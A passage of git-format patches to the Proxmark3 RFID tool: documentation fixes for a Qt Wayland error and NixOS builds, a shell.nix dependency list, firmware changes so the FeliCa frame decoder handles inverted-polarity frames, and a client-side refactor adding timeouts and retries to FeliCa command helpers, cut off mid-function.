error](#qtqpaplugin-could-not-find-the-qt-platform-plugin-wayland-error) ## `pm3` or `pm3-flash*` doesn't see my Proxmark @@ -391,3 +392,31 @@ Side note: You may also be able to choose "Browse all apps" and find your specific proxmark3.exe in the client folder but be sure to choose the proper location and specific file in case you have more than one stored on your PC somewhere. ``` + +## qt.qpa.plugin: Could not find the Qt platform plugin 'wayland' error +^[Top](#top) + +If you run into this error message when running on modern Ubuntu which is using the wayland display +you most likely have not installed these following packages. + +Solution: Install or reinstall the required Qt Wayland packages. + +``` +Debian / Ubuntu based *nix + sudo apt install qt5-qtwayland --< if QT 5 + sudo apt install qt6-qtwayland --< if QT 6 + +Arch *nix + pacman -S qt5-wayland + pacman -S qt6-wayland +``` + + +Alternatively you could set QT_QPA_PLATFORM environment to either wayland or xcb +``` +export QT_QPA_PLATFORM=wayland + +export QT_QPA_PLATFORM=xcb +``` + + From 44e3366770064e118706a4504c4dec822a47c2d2 Mon Sep 17 00:00:00 2001 From: CaffeinatedOpe Date: Mon, 2 Mar 2026 18:11:08 -0600 Subject: [PATCH 049/162] add nix.shell, all build requirements fulfilled --- shell.nix | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 shell.nix diff --git a/shell.nix b/shell.nix new file mode 100644 index 000000000..120a176c4 --- /dev/null +++ b/shell.nix @@ -0,0 +1,21 @@ +with import { }; + +mkShell { + nativeBuildInputs = [ + pkg-config + gcc-arm-embedded + udevCheckHook + readline + bzip2 + openssl + jansson + gd + lz4 + whereami + lua + bluez5 + python3 + qt6Packages.qtbase + qt6Packages.wrapQtAppsHook + ]; +} From 106f1abcac4ad36c564e284b39f6f8684b47db87 Mon Sep 17 00:00:00 2001 From: CaffeinatedOpe Date: Mon, 2 Mar 2026 18:21:52 -0600 Subject: [PATCH 050/162] update documentation --- .../Linux-Installation-Instructions.md | 22 +++++++++++++++++++ 1 file changed, 22 insertions(+) diff --git a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md index 702db31ba..0e7444bdf 100644 --- a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md @@ -174,6 +174,28 @@ you can skip the installation of `python3-devel`. you can skip the installation of `gd-devel`. +## On NixOS +^[Top](#top) + +While in the cloned proxmox repo, run +```sh +nix-shell +``` +This will bring in all required packages to build the client and firmware with all available features. + +Please note, the shell does not change device permissions, so your user must be a part of the dialout group. see [here](https://nixos.wiki/wiki/Serial_Console) for information on adding your user to that group. + + +### If you don't need... +👉 If you don't need the graphical components of the Proxmark3 client (such as in `hw tune`), +you can comment out `qt6Packages.qtbase` and `qt6Packages.wrapQtAppsHook` in shell.nix. + +👉 If you don't need support for Python3 scripts in the Proxmark3 client, +you can comment out `python3` in shell.nix. + +👉 If you don't need support for NFC ePaper devices, +you can comment out `gd` in shell.nix. + # Clone the repository ^[Top](#top) From aea877a2c235fde2b1a2dc458af8dd73b7d9589c Mon Sep 17 00:00:00 2001 From: CaffeinatedOpe Date: Mon, 2 Mar 2026 18:26:47 -0600 Subject: [PATCH 051/162] fix typo in documentation --- .../Linux-Installation-Instructions.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md index 0e7444bdf..ee83f711c 100644 --- a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md @@ -177,7 +177,7 @@ you can skip the installation of `gd-devel`. ## On NixOS ^[Top](#top) -While in the cloned proxmox repo, run +While in the cloned proxmark repo, run ```sh nix-shell ``` From b1a77328b85b2ed5a7dbcf09a5b95b741470974e Mon Sep 17 00:00:00 2001 From: CaffeinatedOpe Date: Tue, 3 Mar 2026 08:25:27 -0600 Subject: [PATCH 052/162] move shell.nix file into tools, updated docs --- .../Linux-Installation-Instructions.md | 2 +- shell.nix => tools/shell.nix | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename shell.nix => tools/shell.nix (100%) diff --git a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md index ee83f711c..be1b4e136 100644 --- a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md @@ -179,7 +179,7 @@ you can skip the installation of `gd-devel`. While in the cloned proxmark repo, run ```sh -nix-shell +nix-shell tools/shell.nix ``` This will bring in all required packages to build the client and firmware with all available features. diff --git a/shell.nix b/tools/shell.nix similarity index 100% rename from shell.nix rename to tools/shell.nix From f855866ce0210a9cf1881790361d2dffe9e6142f Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Tue, 3 Mar 2026 20:54:57 +0200 Subject: [PATCH 053/162] Handle inverted polarity RX frames in 'hf felica' --- armsrc/felica.c | 229 +++++++++++++++++++++++++++++++----------------- 1 file changed, 150 insertions(+), 79 deletions(-) diff --git a/armsrc/felica.c b/armsrc/felica.c index 5dafdf7d2..50346b0fa 100644 --- a/armsrc/felica.c +++ b/armsrc/felica.c @@ -77,7 +77,7 @@ static uint32_t iso18092_get_timeout(void) { static uint8_t frameSpace[FELICA_MAX_RF_FRAME_SIZE]; //structure to hold incoming NFC frame, used for ISO/IEC 18092-compatible frames -static struct { +typedef struct { enum { STATE_UNSYNCD, STATE_TRYING_SYNC, @@ -88,15 +88,25 @@ static struct { } state; uint16_t shiftReg; //for synchronization and offset calculation + uint16_t shiftRegInv; // sync search helper while polarity is unknown int posCnt; bool crc_ok; int rem_len; uint16_t len; uint8_t byte_offset; + uint8_t polarity; uint8_t *framebytes; //should be enough. maxlen is 255, 254 for data, 2 for sync, 2 for crc // 0,1 -> SYNC, 2 - len, 3-(len+1)->data, then crc -} FelicaFrame; +} felica_frame_t; + +enum { + FELICA_POLARITY_UNKNOWN = 0, + FELICA_POLARITY_NORMAL = 1, + FELICA_POLARITY_INVERTED = 2 +}; + +static felica_frame_t FelicaFrame; //b2 4d is SYNC, 45645 in 16-bit notation, 10110010 01001101 binary. Frame will not start filling until this is shifted in //bit order in byte -reverse, I guess? [((bt>>0)&1),((bt>>1)&1),((bt>>2)&1),((bt>>3)&1),((bt>>4)&1),((bt>>5)&1),((bt>>6)&1),((bt>>7)&1)] -at least in the mode that I read those in @@ -104,111 +114,139 @@ static struct { # define SYNC_16BIT 0xB24D #endif -static void FelicaFrameReset(void) { - FelicaFrame.state = STATE_UNSYNCD; - FelicaFrame.posCnt = 0; - FelicaFrame.crc_ok = false; - FelicaFrame.byte_offset = 0; +static void FelicaFrameReset(felica_frame_t *f) { + f->state = STATE_UNSYNCD; + f->posCnt = 0; + f->shiftReg = 0; + f->shiftRegInv = 0; + f->crc_ok = false; + f->rem_len = 0; + f->len = 0; + f->byte_offset = 0; + f->polarity = FELICA_POLARITY_UNKNOWN; } -static void FelicaFrameinit(uint8_t *data) { - FelicaFrame.framebytes = data; - FelicaFrameReset(); +static void FelicaFrameinit(felica_frame_t *f, uint8_t *data) { + f->framebytes = data; + FelicaFrameReset(f); } //shift byte into frame, reversing it at the same time -static void shiftInByte(uint8_t bt) { +static void shiftInByte(felica_frame_t *f, uint8_t bt) { uint8_t j; - for (j = 0; j < FelicaFrame.byte_offset; j++) { - FelicaFrame.framebytes[FelicaFrame.posCnt] = (FelicaFrame.framebytes[FelicaFrame.posCnt] << 1) + (bt & 1); + for (j = 0; j < f->byte_offset; j++) { + f->framebytes[f->posCnt] = (f->framebytes[f->posCnt] << 1) + (bt & 1); bt >>= 1; } - FelicaFrame.posCnt++; - FelicaFrame.rem_len--; - for (j = FelicaFrame.byte_offset; j < 8; j++) { - FelicaFrame.framebytes[FelicaFrame.posCnt] = (FelicaFrame.framebytes[FelicaFrame.posCnt] << 1) + (bt & 1); + f->posCnt++; + f->rem_len--; + for (j = f->byte_offset; j < 8; j++) { + f->framebytes[f->posCnt] = (f->framebytes[f->posCnt] << 1) + (bt & 1); bt >>= 1; } } -static void Process18092Byte(uint8_t bt) { +static void Process18092Byte(felica_frame_t *f, uint8_t bt) { - switch (FelicaFrame.state) { + switch (f->state) { case STATE_UNSYNCD: { // almost any nonzero byte can be start of SYNC. SYNC should be preceded by zeros, but that is not always the case if (bt > 0) { - FelicaFrame.shiftReg = reflect8(bt); - FelicaFrame.state = STATE_TRYING_SYNC; + uint8_t btr = reflect8(bt); + f->shiftReg = btr; + f->shiftRegInv = (uint8_t)~btr; + f->polarity = FELICA_POLARITY_UNKNOWN; + f->state = STATE_TRYING_SYNC; } break; } case STATE_TRYING_SYNC: { + uint8_t bt_norm = bt; + uint8_t bt_inv = (uint8_t)~bt; - if (bt == 0) { - // desync - FelicaFrame.shiftReg = bt; - FelicaFrame.state = STATE_UNSYNCD; - } else { + for (uint8_t i = 0; i < 8; i++) { + bool sync_normal = (f->shiftReg == SYNC_16BIT); + bool sync_inverted = (f->shiftRegInv == SYNC_16BIT); - for (uint8_t i = 0; i < 8; i++) { + if (sync_normal || sync_inverted) { + bool use_inverted = sync_inverted; + uint8_t shift_bt = use_inverted ? bt_inv : bt_norm; - if (FelicaFrame.shiftReg == SYNC_16BIT) { - // SYNC done! - FelicaFrame.state = STATE_GET_LENGTH; - FelicaFrame.framebytes[0] = 0xb2; - FelicaFrame.framebytes[1] = 0x4d; - FelicaFrame.byte_offset = i; + // SYNC done! + f->state = STATE_GET_LENGTH; + f->framebytes[0] = 0xb2; + f->framebytes[1] = 0x4d; + f->framebytes[2] = 0x00; + f->byte_offset = i; + f->polarity = use_inverted ? FELICA_POLARITY_INVERTED : FELICA_POLARITY_NORMAL; - // shift in remaining byte, slowly... - for (uint8_t j = i; j < 8; j++) { - FelicaFrame.framebytes[2] = (FelicaFrame.framebytes[2] << 1) + (bt & 1); - bt >>= 1; - } - - FelicaFrame.posCnt = 2; - if (i == 0) { - break; - } + // shift in remaining byte, slowly... + for (uint8_t j = i; j < 8; j++) { + f->framebytes[2] = (f->framebytes[2] << 1) + (shift_bt & 1); + shift_bt >>= 1; } - FelicaFrame.shiftReg = (FelicaFrame.shiftReg << 1) + (bt & 1); - bt >>= 1; + + f->posCnt = 2; + return; } - //that byte was last byte of sync - if (FelicaFrame.shiftReg == SYNC_16BIT) { - //Force SYNC on next byte - FelicaFrame.state = STATE_GET_LENGTH; - FelicaFrame.framebytes[0] = 0xb2; - FelicaFrame.framebytes[1] = 0x4d; - FelicaFrame.byte_offset = 0; - FelicaFrame.posCnt = 1; - } + f->shiftReg = (f->shiftReg << 1) + (bt_norm & 1); + f->shiftRegInv = (f->shiftRegInv << 1) + (bt_inv & 1); + bt_norm >>= 1; + bt_inv >>= 1; + } + + // that byte was last byte of sync + if (f->shiftReg == SYNC_16BIT || f->shiftRegInv == SYNC_16BIT) { + bool use_inverted = (f->shiftRegInv == SYNC_16BIT); + // Force SYNC on next byte + f->state = STATE_GET_LENGTH; + f->framebytes[0] = 0xb2; + f->framebytes[1] = 0x4d; + f->framebytes[2] = 0x00; + f->byte_offset = 0; + f->posCnt = 1; + f->polarity = use_inverted ? FELICA_POLARITY_INVERTED : FELICA_POLARITY_NORMAL; } break; } case STATE_GET_LENGTH: { - shiftInByte(bt); - FelicaFrame.rem_len = FelicaFrame.framebytes[2] - 1; - FelicaFrame.len = FelicaFrame.framebytes[2] + 4; //with crc and sync - FelicaFrame.state = STATE_GET_DATA; + if (f->polarity == FELICA_POLARITY_INVERTED) { + bt = (uint8_t)~bt; + } + shiftInByte(f, bt); + if (f->framebytes[2] == 0 || (f->framebytes[2] + 4 > FELICA_MAX_RF_FRAME_SIZE)) { + // invalid frame length, drop frame and start over. + FelicaFrameReset(f); + break; + } + f->rem_len = f->framebytes[2] - 1; + f->len = f->framebytes[2] + 4; //with crc and sync + f->state = STATE_GET_DATA; break; } case STATE_GET_DATA: { - shiftInByte(bt); - if (FelicaFrame.rem_len <= 0) { - FelicaFrame.state = STATE_GET_CRC; - FelicaFrame.rem_len = 2; + if (f->polarity == FELICA_POLARITY_INVERTED) { + bt = (uint8_t)~bt; + } + shiftInByte(f, bt); + if (f->rem_len <= 0) { + f->state = STATE_GET_CRC; + f->rem_len = 2; } break; } case STATE_GET_CRC: { - shiftInByte(bt); - if (FelicaFrame.rem_len <= 0) { - FelicaFrame.rem_len = 0; + if (f->polarity == FELICA_POLARITY_INVERTED) { + bt = (uint8_t)~bt; + } + shiftInByte(f, bt); + if (f->rem_len <= 0) { + f->rem_len = 0; // skip sync 2bytes. IF ok, residue should be 0x0000 - FelicaFrame.crc_ok = check_crc(CRC_FELICA, FelicaFrame.framebytes + 2, FelicaFrame.len - 2); - FelicaFrame.state = STATE_FULL; + f->crc_ok = check_crc(CRC_FELICA, f->framebytes + 2, f->len - 2); + f->state = STATE_FULL; } break; } @@ -438,10 +476,12 @@ bool WaitForFelicaReply(uint16_t maxbytes) { // if (g_dbglevel >= DBG_DEBUG) { Dbprintf("WaitForFelicaReply Start"); } uint32_t c = 0; + uint16_t crc_fail_normal = 0; + uint16_t crc_fail_inverted = 0; // power, no modulation FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD); - FelicaFrameReset(); + FelicaFrameReset(&FelicaFrame); // clear RXRDY: uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; @@ -457,17 +497,42 @@ bool WaitForFelicaReply(uint16_t maxbytes) { b = (uint8_t)(AT91C_BASE_SSC->SSC_RHR); - Process18092Byte(b); + Process18092Byte(&FelicaFrame, b); + felica_frame_t *received = NULL; if (FelicaFrame.state == STATE_FULL) { + if (FelicaFrame.crc_ok) { + received = &FelicaFrame; + } else { + if (FelicaFrame.polarity == FELICA_POLARITY_INVERTED) { + crc_fail_inverted++; + } else { + crc_fail_normal++; + } + FelicaFrameReset(&FelicaFrame); + } + } + + if (received != NULL) { + if (maxbytes && received->len > maxbytes) { + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("FeliCa RX frame dropped (len %u > max %u)", received->len, maxbytes); + } + FelicaFrameReset(&FelicaFrame); + continue; + } + + if (g_dbglevel >= DBG_DEBUG && received->polarity == FELICA_POLARITY_INVERTED) { + DbpString("FeliCa RX decoded using inverted polarity fallback"); + } felica_nexttransfertime = MAX( felica_nexttransfertime, (GetCountSspClk() & 0xfffffff8) - (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER) / 16 + FELICA_FRAME_DELAY_TIME); LogTrace( - FelicaFrame.framebytes, - FelicaFrame.len, + received->framebytes, + received->len, ((GetCountSspClk() & 0xfffffff8) << 4) - DELAY_AIR2ARM_AS_READER - timeout, ((GetCountSspClk() & 0xfffffff8) << 4) - DELAY_AIR2ARM_AS_READER, NULL, @@ -475,9 +540,15 @@ bool WaitForFelicaReply(uint16_t maxbytes) { ); return true; - } else if (c++ > timeout && (FelicaFrame.state == STATE_UNSYNCD || FelicaFrame.state == STATE_TRYING_SYNC)) { + } else if ( + c++ > timeout + && (FelicaFrame.state == STATE_UNSYNCD || FelicaFrame.state == STATE_TRYING_SYNC) + ) { // if (g_dbglevel >= DBG_DEBUG) Dbprintf("Error: Timeout! STATE_UNSYNCD"); + if (g_dbglevel >= DBG_DEBUG && (crc_fail_normal || crc_fail_inverted)) { + Dbprintf("FeliCa RX timeout, CRC fails normal=%u inverted=%u", crc_fail_normal, crc_fail_inverted); + } return false; } @@ -497,7 +568,7 @@ static void iso18092_setup(uint8_t fpga_minor_mode) { #endif // allocate command receive buffer BigBuf_free(); - FelicaFrameinit(BigBuf_calloc(FELICA_MAX_RF_FRAME_SIZE)); + FelicaFrameinit(&FelicaFrame, BigBuf_calloc(FELICA_MAX_RF_FRAME_SIZE)); felica_nexttransfertime = 2 * DELAY_ARM2AIR_AS_READER; // 418 // iso18092_set_timeout(2120); // 106 * 20ms maximum start-up time of card @@ -710,7 +781,7 @@ void felica_sniff(uint32_t samplesToSkip, uint32_t triggersToSkip) { if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { uint8_t dist = (uint8_t)(AT91C_BASE_SSC->SSC_RHR); - Process18092Byte(dist); + Process18092Byte(&FelicaFrame, dist); if ((dist >= 178) && (++trigger_cnt > triggersToSkip)) { Dbprintf("triggers To skip kicked %d", dist); @@ -734,7 +805,7 @@ void felica_sniff(uint32_t samplesToSkip, uint32_t triggersToSkip) { NULL, isReaderFrame ); - FelicaFrameReset(); + FelicaFrameReset(&FelicaFrame); } } } @@ -822,7 +893,7 @@ void felica_sim_lite(const uint8_t *uid) { uint8_t dist = (uint8_t)(AT91C_BASE_SSC->SSC_RHR); // frtm = GetCountSspClk(); - Process18092Byte(dist); + Process18092Byte(&FelicaFrame, dist); if (FelicaFrame.state == STATE_FULL) { @@ -859,10 +930,10 @@ void felica_sim_lite(const uint8_t *uid) { listenmode = false; } // clear frame - FelicaFrameReset(); + FelicaFrameReset(&FelicaFrame); } else { // frame invalid, clear it out to allow for the next one - FelicaFrameReset(); + FelicaFrameReset(&FelicaFrame); } } } @@ -878,7 +949,7 @@ void felica_sim_lite(const uint8_t *uid) { // switch back FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | FPGA_HF_ISO18092_FLAG_NOMOD); - FelicaFrameReset(); + FelicaFrameReset(&FelicaFrame); listenmode = true; curlen = 0; curresp = NULL; From 2e4290c5feec27f46fa5083168770b13efb36787 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Wed, 4 Mar 2026 18:50:21 +0200 Subject: [PATCH 054/162] Refactor helpers for 'hf felica' commands; add retries --- client/src/cmdhffelica.c | 301 ++++++++++++++++++++++++--------------- client/src/cmdhffelica.h | 2 - include/iso18.h | 4 +- 3 files changed, 189 insertions(+), 118 deletions(-) diff --git a/client/src/cmdhffelica.c b/client/src/cmdhffelica.c index 1825d8aeb..beb4841d2 100644 --- a/client/src/cmdhffelica.c +++ b/client/src/cmdhffelica.c @@ -43,6 +43,9 @@ #define FELICA_BLK_NUMBER_MACA 0x91 #define FELICA_BLK_NUMBER_STATE 0x92 +#define FELICA_DEFAULT_TIMEOUT_MS 2000U +#define FELICA_DEFAULT_RETRY_COUNT 3U + #define FELICA_SERVICE_ATTRIBUTE_UNAUTH_READ (0b000001) #define FELICA_SERVICE_ATTRIBUTE_READ_ONLY (0b000010) #define FELICA_SERVICE_ATTRIBUTE_RANDOM_ACCESS (0b001000) @@ -281,8 +284,8 @@ static const char *felica_model_name(uint8_t rom_type, uint8_t ic_type) { * Checks if receveid bytes have a valid CRC. * @param verbose prints out the response received. */ -static bool waitCmdFelica(bool iSelect, PacketResponseNG *resp, bool verbose) { - if (WaitForResponseTimeout(CMD_HF_FELICA_COMMAND, resp, 2000) == false) { +static bool waitCmdFelicaEx(bool iSelect, PacketResponseNG *resp, bool verbose, uint32_t timeout_ms) { + if (WaitForResponseTimeout(CMD_HF_FELICA_COMMAND, resp, timeout_ms) == false) { PrintAndLogEx(WARNING, "timeout while waiting for reply"); return false; } @@ -323,6 +326,10 @@ static bool waitCmdFelica(bool iSelect, PacketResponseNG *resp, bool verbose) { return true; } +static bool waitCmdFelica(bool iSelect, PacketResponseNG *resp, bool verbose) { + return waitCmdFelicaEx(iSelect, resp, verbose, FELICA_DEFAULT_TIMEOUT_MS); +} + /** * Adds the last known IDm (8-Byte) to the data frame. @@ -543,14 +550,14 @@ static void clear_and_send_command(uint8_t flags, uint16_t datalen, uint8_t *dat * @param rd_noCry_resp Response frame. * @param block_index Optional explicit block index (UINT16_MAX to use tag value) */ -static void print_rd_plain_response(felica_read_without_encryption_response_t *rd_noCry_resp, uint16_t block_index) { +static void print_read_without_encryption_response(felica_read_without_encryption_response_t *rd_noCry_resp, uint16_t block_index) { uint16_t display_block = block_index; if (rd_noCry_resp->status_flags.status_flag1[0] == 00 && rd_noCry_resp->status_flags.status_flag2[0] == 00) { - char *temp = sprint_hex(rd_noCry_resp->block_data, sizeof(rd_noCry_resp->block_data)); + char *temp = sprint_hex(rd_noCry_resp->block_data, FELICA_BLK_SIZE); char bl_data[256]; strncpy(bl_data, temp, sizeof(bl_data) - 1); @@ -567,80 +574,154 @@ static void print_rd_plain_response(felica_read_without_encryption_response_t *r } /** - * Sends a request service frame to the pm3 and prints response. + * Shared retry log helper. */ -int send_request_service(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose) { +static void log_felica_retry_attempt(const char *request_name, uint32_t attempt, uint32_t retries) { + if (request_name) { + PrintAndLogEx(WARNING, "Retrying %s (%" PRIu32 "/%" PRIu32 ")", + request_name, attempt + 1, retries); + } else { + PrintAndLogEx(WARNING, "Retrying request (%" PRIu32 "/%" PRIu32 ")", + attempt + 1, retries); + } +} - clear_and_send_command(flags, datalen, data, verbose); - if (datalen) { - - PacketResponseNG resp; - if (waitCmdFelica(false, &resp, true) == false) { - PrintAndLogEx(ERR, "\nGot no response from card"); - return PM3_ERFTRANS; +/** + * Generic FeliCa command sender with timeout and retries. + * @param flags command flags + * @param datalen command payload length + * @param data command payload + * @param verbose verbose output + * @param expected_response_cmd expected command code in response, -1 to skip check + * @param timeout_ms timeout in milliseconds for each attempt + * @param retries retry count after the first attempt + * @param resp response output + * @param request_name request label used in retry logs + * @return PM3_SUCCESS on success + */ +static int send_felica_payload_with_retries(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, + int expected_response_cmd, uint32_t timeout_ms, uint32_t retries, PacketResponseNG *resp, const char *request_name) { + for (uint32_t attempt = 0; attempt <= retries; attempt++) { + clear_and_send_command(flags, datalen, data, verbose); + if (waitCmdFelicaEx(false, resp, verbose, timeout_ms) == false) { + if (attempt < retries) { + log_felica_retry_attempt(request_name, attempt, retries); + } + continue; } - felica_request_service_response_t r; - memcpy(&r, (felica_request_service_response_t *)resp.data.asBytes, sizeof(felica_request_service_response_t)); + if (expected_response_cmd >= 0) { + if (resp->length < sizeof(felica_frame_response_t)) { + if (attempt < retries) { + log_felica_retry_attempt(request_name, attempt, retries); + } + continue; + } - if (r.frame_response.IDm[0] != 0) { - PrintAndLogEx(SUCCESS, "Service Response:"); - PrintAndLogEx(SUCCESS, "IDm... %s", sprint_hex_inrow(r.frame_response.IDm, sizeof(r.frame_response.IDm))); - PrintAndLogEx(SUCCESS, " Node number............. %s", sprint_hex(r.node_number, sizeof(r.node_number))); - PrintAndLogEx(SUCCESS, " Node key version list... %s\n", sprint_hex(r.node_key_versions, sizeof(r.node_key_versions))); + const felica_frame_response_t *frame_response = (const felica_frame_response_t *)resp->data.asBytes; + if (frame_response->cmd_code[0] != (uint8_t)expected_response_cmd) { + if (attempt < retries) { + log_felica_retry_attempt(request_name, attempt, retries); + } else { + PrintAndLogEx(FAILED, "Bad response cmd 0x%02X (expected 0x%02X).", + frame_response->cmd_code[0], (uint8_t)expected_response_cmd); + } + continue; + } } + return PM3_SUCCESS; } + return PM3_ERFTRANS; } /** - * Sends a read_without_encryption frame to the pm3 and prints response. + * Sends a request service frame to the pm3 and prints response. + */ +int send_request_service(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose) { + if (!datalen) { + return PM3_ERFTRANS; + } + PacketResponseNG resp; + if (send_felica_payload_with_retries(flags, datalen, data, verbose, + 0x03, + FELICA_DEFAULT_TIMEOUT_MS, 0, + &resp, "request service") != PM3_SUCCESS) { + PrintAndLogEx(ERR, "\nGot no response from card"); + return PM3_ERFTRANS; + } + + felica_request_service_response_t r; + memcpy(&r, (felica_request_service_response_t *)resp.data.asBytes, sizeof(felica_request_service_response_t)); + + if (r.frame_response.IDm[0] != 0) { + PrintAndLogEx(SUCCESS, "Service Response:"); + PrintAndLogEx(SUCCESS, "IDm... %s", sprint_hex_inrow(r.frame_response.IDm, sizeof(r.frame_response.IDm))); + PrintAndLogEx(SUCCESS, " Node number............. %s", sprint_hex(r.node_number, sizeof(r.node_number))); + PrintAndLogEx(SUCCESS, " Node key version list... %s\n", sprint_hex(r.node_key_versions, sizeof(r.node_key_versions))); + } + return PM3_SUCCESS; +} + +/** + * Sends a read_without_encryption frame to pm3 and stores the response. * @param flags to use for pm3 communication. * @param datalen frame length. - * @param data frame to be send. + * @param data frame to be sent. * @param verbose display additional output. * @param rd_noCry_resp frame in which the response will be saved. * @return success if response was received. */ -int send_rd_plain(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, felica_read_without_encryption_response_t *rd_noCry_resp) { - clear_and_send_command(flags, datalen, data, verbose); +static int send_read_without_encryption_ex(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, + felica_read_without_encryption_response_t *rd_noCry_resp, + uint32_t timeout_ms, uint32_t retries) { PacketResponseNG resp; - if (waitCmdFelica(false, &resp, verbose) == false) { + if (send_felica_payload_with_retries(flags, datalen, data, verbose, + 0x07, timeout_ms, retries, + &resp, "read without encryption") != PM3_SUCCESS) { PrintAndLogEx(ERR, "No response from card"); return PM3_ERFTRANS; - } else { - memcpy(rd_noCry_resp, (felica_read_without_encryption_response_t *)resp.data.asBytes, sizeof(felica_read_without_encryption_response_t)); - if (rd_noCry_resp->frame_response.cmd_code[0] != 0x07) { - PrintAndLogEx(FAILED, "Bad response cmd 0x%02X @ 0x%04X.", - rd_noCry_resp->frame_response.cmd_code[0], 0x00); - PrintAndLogEx(INFO, "This is either a normal signal issue, or an issue caused by wrong parameter. Please try again."); - return PM3_ERFTRANS; - } - return PM3_SUCCESS; } + + memcpy(rd_noCry_resp, (felica_read_without_encryption_response_t *)resp.data.asBytes, sizeof(felica_read_without_encryption_response_t)); + return PM3_SUCCESS; } /** - * Sends a dump_service frame to the pm3 and prints response. + * Sends a read_without_encryption frame to pm3 and stores the response. + * Uses default timeout and no retries. + */ +static int send_read_without_encryption(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, + felica_read_without_encryption_response_t *rd_noCry_resp) { + return send_read_without_encryption_ex(flags, datalen, data, verbose, rd_noCry_resp, + FELICA_DEFAULT_TIMEOUT_MS, 0); +} + +/** + * Sends a Search Service Code frame to pm3 and stores the response. * @param flags to use for pm3 communication. * @param datalen frame length. - * @param data frame to be send. + * @param data frame to be sent. * @param verbose display additional output. - * @param dump_sv_resp frame in which the response will be saved. - * @param is_area true if the service is an area, false if it is a service. + * @param timeout_ms timeout in milliseconds for each attempt. + * @param retries retry count after the first attempt. + * @param search_sv_resp frame in which the response will be saved. * @return success if response was received. */ -int send_dump_sv_plain(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, felica_service_dump_response_t *dump_sv_resp, bool is_area) { - clear_and_send_command(flags, datalen, data, verbose); +static int send_search_service_code(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, + uint32_t timeout_ms, uint32_t retries, + felica_search_service_code_response_t *search_sv_resp) { PacketResponseNG resp; - if (waitCmdFelica(false, &resp, verbose) == false) { + if (send_felica_payload_with_retries(flags, datalen, data, verbose, + 0x0B, timeout_ms, retries, + &resp, "search service") != PM3_SUCCESS) { PrintAndLogEx(ERR, "No response from card"); return PM3_ERFTRANS; - } else { - memcpy(dump_sv_resp, (felica_service_dump_response_t *)resp.data.asBytes, sizeof(felica_service_dump_response_t)); - return PM3_SUCCESS; } + + memcpy(search_sv_resp, (felica_search_service_code_response_t *)resp.data.asBytes, sizeof(felica_search_service_code_response_t)); + return PM3_SUCCESS; } /** @@ -660,23 +741,25 @@ static bool check_last_idm(uint8_t *data, uint16_t datalen) { } /** - * Sends a read_without_encryption frame to the pm3 and prints response. + * Sends a write_without_encryption frame to pm3 and stores the response. * @param flags to use for pm3 communication. * @param datalen frame length. - * @param data frame to be send. + * @param data frame to be sent. * @param verbose display additional output. - * @param wr_noCry_resp frame in which the response will be saved. + * @param wr_resp frame in which the response will be saved. * @return success if response was received. */ -static int send_wr_plain(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, felica_status_response_t *wr_noCry_resp) { - clear_and_send_command(flags, datalen, data, verbose); +static int send_write_without_encryption(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, felica_status_response_t *wr_resp) { PacketResponseNG resp; - if (waitCmdFelica(false, &resp, verbose) == false) { + if (send_felica_payload_with_retries(flags, datalen, data, verbose, + -1, + FELICA_DEFAULT_TIMEOUT_MS, 0, + &resp, "write block") != PM3_SUCCESS) { PrintAndLogEx(ERR, "no response from card"); return PM3_ERFTRANS; } - memcpy(wr_noCry_resp, (felica_status_response_t *)resp.data.asBytes, sizeof(felica_status_response_t)); + memcpy(wr_resp, (felica_status_response_t *)resp.data.asBytes, sizeof(felica_status_response_t)); return PM3_SUCCESS; } @@ -1215,7 +1298,7 @@ static int CmdHFFelicaWritePlain(const char *Cmd) { uint8_t flags = (FELICA_APPEND_CRC | FELICA_RAW); felica_status_response_t wr_noCry_resp; - if (send_wr_plain(flags, datalen, data, 1, &wr_noCry_resp) == PM3_SUCCESS) { + if (send_write_without_encryption(flags, datalen, data, 1, &wr_noCry_resp) == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "IDm............ %s", sprint_hex(wr_noCry_resp.frame_response.IDm, sizeof(wr_noCry_resp.frame_response.IDm))); PrintAndLogEx(SUCCESS, "Status Flag1... %s", sprint_hex(wr_noCry_resp.status_flags.status_flag1, sizeof(wr_noCry_resp.status_flags.status_flag1))); PrintAndLogEx(SUCCESS, "Status Flag2... %s\n", sprint_hex(wr_noCry_resp.status_flags.status_flag2, sizeof(wr_noCry_resp.status_flags.status_flag2))); @@ -1365,16 +1448,16 @@ static int CmdHFFelicaReadPlain(const char *Cmd) { for (uint16_t i = 0x00; i < last_blockno; i++) { data[15] = i; 